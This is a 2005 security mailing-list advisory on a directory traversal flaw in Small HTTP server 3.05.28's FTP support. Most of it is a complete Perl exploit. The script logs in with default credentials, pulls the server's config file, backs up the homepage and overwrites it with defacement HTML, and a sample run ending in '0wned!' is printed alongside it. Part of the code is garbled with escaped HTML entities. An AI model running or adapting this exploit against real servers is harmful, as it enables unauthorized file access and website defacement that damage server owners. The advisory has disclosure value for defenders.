[NT] sHTTP FTPServer Directory Traversal

Type securityvulns
Reporter Securityvulns
Modified 2005-07-22T00:00:00


The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html

sHTTP FTPServer Directory Traversal


" <http://home.lanck.net/mf/srv/index.htm> Small HTTP server utility turns your computer into a fully functional Web-server. "

The FTP server support of Small HTTP server contains a directory traversal vulnerability that allow remote attackers to access files that would be otherwise inaccessible.


Vulnerable Systems: * Small HTTP server version 3.05.28



sHTTP FTPServer Abritary Data Execution Exploit


Infam0us Gr0up - Securiti Research

E:\PERL>perl shttp.pl localhost C:\shttps

[?] Version: libwww-perl-5.76

[+] Connect to localhost...

[+] Connected

[+] Send user and pass..

[+] Logged in!

[+] Directory List:

. | 0

.. | 0

uninst.exe | 3072

http.exe | 78848

desc.htm | 42788

license.txt | 1804

http.cfg | 1616

www | 0

1.txt | 41

[+] Getting FTP config..[OK]

[+] Backup target file..[OK]

[+] Set homepage defacement..[DONE]

[*] 0wned!

Tested on Windows2000 SP4 (Win NT)

info: infamous.2hell.com

use LWP;

$subject = "sHTTP FTPServer Abritary Data Execution Exploit"; $vers = "Small HTTP server 3.05.28"; $vendor = "http://srv.mf.inc.ru"; $codz = "basher13 - basher13(at)linuxmail.org";

if(@ARGV!=2){ print "\n"; print " $subject\n"; print "-------------------------------------------------\n\n"; print "Usage: $0 [remote IP] [dir_path] \n"; print "Exam: $0 c:\\shttps \n\n"; exit; }

use Net::FTP; use IO::Dir; use Tk;

$target = $ARGV[0]; $path = $ARGV[1];

Modify $text to changes the default homepage

$text = "<title>PENETRATION TEST</title>Subject: $subject<br>Version: $vers<br>URL: $vendor<br>Coders: $codz";

my $user = "admin"; # Changes USER to own feed my $pass = "ftp"; # Changes PASS to own feed


print "\n"; print "-------------------------------------------------------\n"; print "[?] Version: libwww-perl-$LWP::VERSION\n"; sleep(2); print "[+] Connect to $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect: $!";

print "[+] Connected\n"; print "[+] Send user and pass..\n"; $ftp->login($user, $pass) || die "could not login: $!"; sleep(1);

print "[+] Logged in!\n"; print "[+] Directory List: \n\n"; sleep(2);

tie %dir, IO::Dir, $path; foreach (keys %dir) { print $, " | " , $dir{$}->size,"\n"; }

print "\n"; print "[+] Getting FTP config.."; sleep(1);

$ftp->get("http.cfg") or die "Get failed ", $ftp->message;

print "[OK]\n"; print "[+] Backup target file.."; sleep(2);

$dirpath = "$path\\www\\index.htm";

$lama = $dirpath; $baru = "$dirpath.BAK.$$(basher13)";

open(OLD, "< $lama") or die "FAILED to open $lama\n[-] Reason: Try on another place..\n"; open(NEW, "> $baru") or die "can't open $baru: $!\n";

while (<OLD>) { s/\b(p)earl\b/${1}erl/i; (print NEW $_) or die "FAILED to write to $baru\n[-] Reason: Server has secure permission\n"; } close(OLD) or die "FAILED to close $lama\n"; close(NEW) or die "can't close $baru\n";

print "[OK]\n"; print "[+] Set homepage defacement.."; sleep(2);

open(OUT, ">$dirpath") or die("unable to open $dirpath: $!"); open FH, ">$dirpath"; print FH "$text"; print "[DONE]\n"; close FH;

print "[*] 0wned!\n"; $ftp->quit; print "-------------------------------------------------------\n"; my $mw = MainWindow->new(-title => 'INFO',); my $var;

my $opt = $mw-&gt;Optionmenu&#40;

            -options =&gt; [qw&#40;&#41;],
            -command =&gt; sub { print &quot;&#92;n[&gt;]: &quot;, shift, &quot;&#92;n&quot; },
            -variable =&gt; &#92;$var,
$opt-&gt;addOptions&#40;[- Subject=&gt;$subject],[- Version=&gt;$vers],[-

Vendor=>$vendor],[- Coder=>$codz]); $mw->Button(-text=>'CLOSE', -command=>sub{$mw->destroy})->pack; MainLoop;


The information has been provided by <mailto:basher13@linuxmail.org> eric basher.


This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.